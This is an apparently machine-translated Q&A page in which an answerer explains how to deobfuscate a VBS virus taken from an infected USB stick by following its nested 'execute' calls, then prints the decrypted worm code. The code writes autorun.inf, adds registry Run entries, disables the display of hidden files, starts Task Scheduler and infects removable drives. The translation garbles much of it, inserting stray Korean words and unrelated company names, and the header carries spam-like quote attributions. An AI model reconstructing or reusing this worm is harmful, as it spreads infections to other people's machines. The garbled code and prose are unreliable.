기금넷 공식사이트 - 복권 조회 - 나는 인쇄실에 가서 프린트하고 이것도 있다. USB 에 VBS 바이러스가 감염되었다. 내가 메모장으로 그것을 열었을 때, 그것은 모두 깨졌기 때문에, 나는 해독하고 싶은 소스 코드였다. (알버트 아인슈타인, Northern Exposure (미국 TV 드라마), 예술명언)

나는 인쇄실에 가서 프린트하고 이것도 있다. USB 에 VBS 바이러스가 감염되었다. 내가 메모장으로 그것을 열었을 때, 그것은 모두 깨졌기 때문에, 나는 해독하고 싶은 소스 코드였다. (알버트 아인슈타인, Northern Exposure (미국 TV 드라마), 예술명언)

안녕하세요

이것은 VBS 스크립팅 바이러스로, 난잡해 보여서 전혀 읽을 수 없다. 사실 여전히 따라야 할 흔적이 있다. 아이디어는' 실행' 이라는 키워드를 찾는 것이다. 마지막 바이러스는 기계가 이해할 수 있는 것으로 대체됩니다. 즉, execute 의 마지막 층의 내용은 바이러스의 소스 코드입니다. 이 아이디어에 따르면, 우리는 암호 해독 방법이 반드시 이 execute 에 있어야 한다는 것을 알 수 있다.

즉, 그가 어떻게 암호화되었는지 알 필요가 없습니다. execute 가 무엇인지 알기만 하면 됩니다.

이 아이디어에 따르면, 우리는 프로그램의 마지막 반복 암호화 프로세스 이전의 코드, 즉 첫 번째 반복 암호 해독 코드를 얻을 수 있습니다. 여전히 깨진 것처럼 보이지만, 마찬가지로, 우리는 항상 키워드 execute 를 찾을 수 있습니다. 바이러스는 여러 번 반복될 수 있지만 결국에는 이해할 수 있다.

Execute 뒤의 내용이 암호 해독되어 실제로 execute 로 실행되면 올가미에 걸리므로 execute 를 함께 실행할 수 없다는 점에 유의해야 합니다.

다음은 내가 마지막으로 해독한 코드 조각이다.

BT 와 비교했을 때, 이 프로그램의 저자는 수동으로 많은 장소를 암호화했고, 코드를 뒤엎어 프로그램의 가독성을 심각하게 방해했다.

코드를 분석한 후 일반적인 기능은 다음과 같습니다

1. 전원 켜기 자체 시작

2. USB 디스크 감염

3. 시스템의 숨겨진 기능을 손상시킵니다

오류 발생 시 다음 단계로 진행합니다

J = "\": til = "sy": btj = 900: 대 = ". Vbs":ve= "입니다. Vbe ":cm ="% comspec%/c ":dfo ="/u # t/":INF =" \ autorun.inf "

Set ws = createobject ("wscript.shell"): set FSO = createobject ("scripting.file system object")

Set wmi = getobject(" winmgmt:\ \ \. \ root \ cimv2 "): set sis = wmi.execquery ("select * from win32 _ operating system ")

Set DC = fso.drives: set ATS = wmi.execquery ("select * from win32 _ service where name =' schedule')

Ats 의 각 ATC:cat = ATC. state:next: cat="Stopped "인 경우 ws.run "net start ""task scheduler" 입니다

Ouw = wscript.scriptfullname: win = fso.getspecialfolder (0) amp; J: dir = fso.getspecialfolder (1) J.

Tmp = fso.getspecialfolder (2) j: wbe = dir & "wbem\":mir=left(ouw, len (ouw)-len (wscript.scriptname))

CNR = "\ computer name ":CNP =" HKLM \ 시스템 \ 현재 제어 세트 \ 제어 "& 중국 북차그룹 유한 회사 중국 북차그룹 유한회사. Cnr:cna=rr (cnp, 0): cna= ""인 경우 cna=til

Wsc = "wscript.exe": CSC = "cscript.exe": CSS = CSC & "///no logo ":wsr = rn & amp;; : createobject (""wscript.shell "") 입니다. 실행 "

C = vbcrlf:Inc = til & amp;; C & amp"[ 자동 실행] "& C& "open ="& WSC& ".\"& 대 & ampc & amp "shell \ open \ command ="&"

Sf = "shell folders \": ROP = "\ software \ Microsoft \ windows \ currentversion \ explorer \" 입니다 Rop & ampsf & amp "데스크톱", 0) & J.

HKLM 소프트웨어 회사. Cna & ampj: FSP = RR ("hklm" & Rop & ampsf & amp "일반 시작", 0) & 존슨 회사. Vs: FAP = RR ("hkcu"; Rop & ampsf & amp 즐겨찾기, 0) & J.

Ht=ec("ivwt "? 56 "): ha = EC (":; 9: 7 > 5kw9 "): HB = HL & "1; & lt& lt= 6x "& amphl & amp" r;;" : hc="0dwuEpE":hd=ec

("$"+hc):he=ec("c"+hc)

RSP = "HKLM \ 소프트웨어 \ Microsoft \ 창 \ 현재 버전 \ ":rsb = RSP & amp;; "run \ ":RSP = RSP & amp;; 정책 \ 탐색기 \ 실행 \ "& Canadian nuclear association 캐나다 핵 협회

Hip = "HKCU" & amp;; Rop& "advanced \ showsuperhidden": SZ = lcase (fso.getfilename (wscript.fullname)): 다음과 같은 경우

의 각 si 에 대해 다음을 수행합니다

Sis: ca = si.caption: cs = si.codeset: cc = si.countrycode: OS = si.oslanguage: wv =;

If instr(wv, "5.2 ")& lt;; & gt0 다음 hb="w"+hb:lb="v "또는 OS<& gt2052 및 cc<& gt 가 86 인 경우

Hb = "p"+HB: lb = "o" elsehb = "d"+HB: lb = "c"

Dc 의 각 d 에 대해 다음을 수행합니다

Mir = d & ampj 다음 ws.run "explorer" & ampd, 3, false:bir=true 인 경우

그리고 나서

Bir 또는 sys 또는 mir=win 또는 mir=wbe 인 경우 tir=true else wscript.quit

Ouc=rt(ouw,-1):ver=gv(ouw): ver = "or not isnumeric (ver) 인 경우 msgbox ): km 1

Else km 0

만약 sys then 이

Sz=wsc 인 경우 pr CSC,-1

Pr(csc, 2)= 1 인 경우 wscript.quit

Wscript.sleep 2000

Pr(csc, 1)=0 인 경우 ws.run CSS& 감독 & ampve, 0, false: pr(csc,/kloc-)

If rr("til ",1) < & gttil 다음 wr "til ",til:wr "tjs", btj:wr "djs ",date- 1:wr "ded",.

Djs=rr("djs ",1): if is date (DJs) and date-cdate (DJs) > 50 파운드<& gt“o

Rr("atd ",1)= 1 이면 ws.run "at /d /y", 0, false:wr "atd

Le=rr("dna ",1): if ei (tmp & Le, 1) 그런 다음 ws.run tmp& 실무무역 (labor exchange) 저 폭발성 폭발물 (low explosive) 직업소개소 (Labour Exchange)

Cu:er 10

기타

Wscript.sleep 5000

Pr(wsc, 2)=2 인 경우: rr("tjc ",1)=cstr(date) 인 경우: wscript.quit: elss

Pr(csc,1) < & gt 1 또는 pr(wsc, 1)=0, BF dir & ampve, ouc, 7: ws.runcss & AMM 감독 & ampve, 0, false

만약 ... 끝날거야

Pa= 1 이면 RNA = RPA& 리보 핵산

Rr=ws.regread(rna)

Er(0) 인 경우 rr=0

For I =1tolen (wt): EC = EC+chr (ASC (mid (wt, I,1))-i.

JS 와 마찬가지로 VBS 는 설명 언어이기 때문에 코드는 위에서 아래로 행별로 실행됩니다. 그래서 이 코드를 이해하는 기술은 다음과 같습니다.

우리가 암호 해독 진입점을 찾을 때, 우리는 마지막 집행을 우선적으로 고려해야 한다. 작가는 논리 접합을 대량으로 사용한다. 。 。 매우 BT 에 속하는 암호화입니다. 。 。 초조하다 ...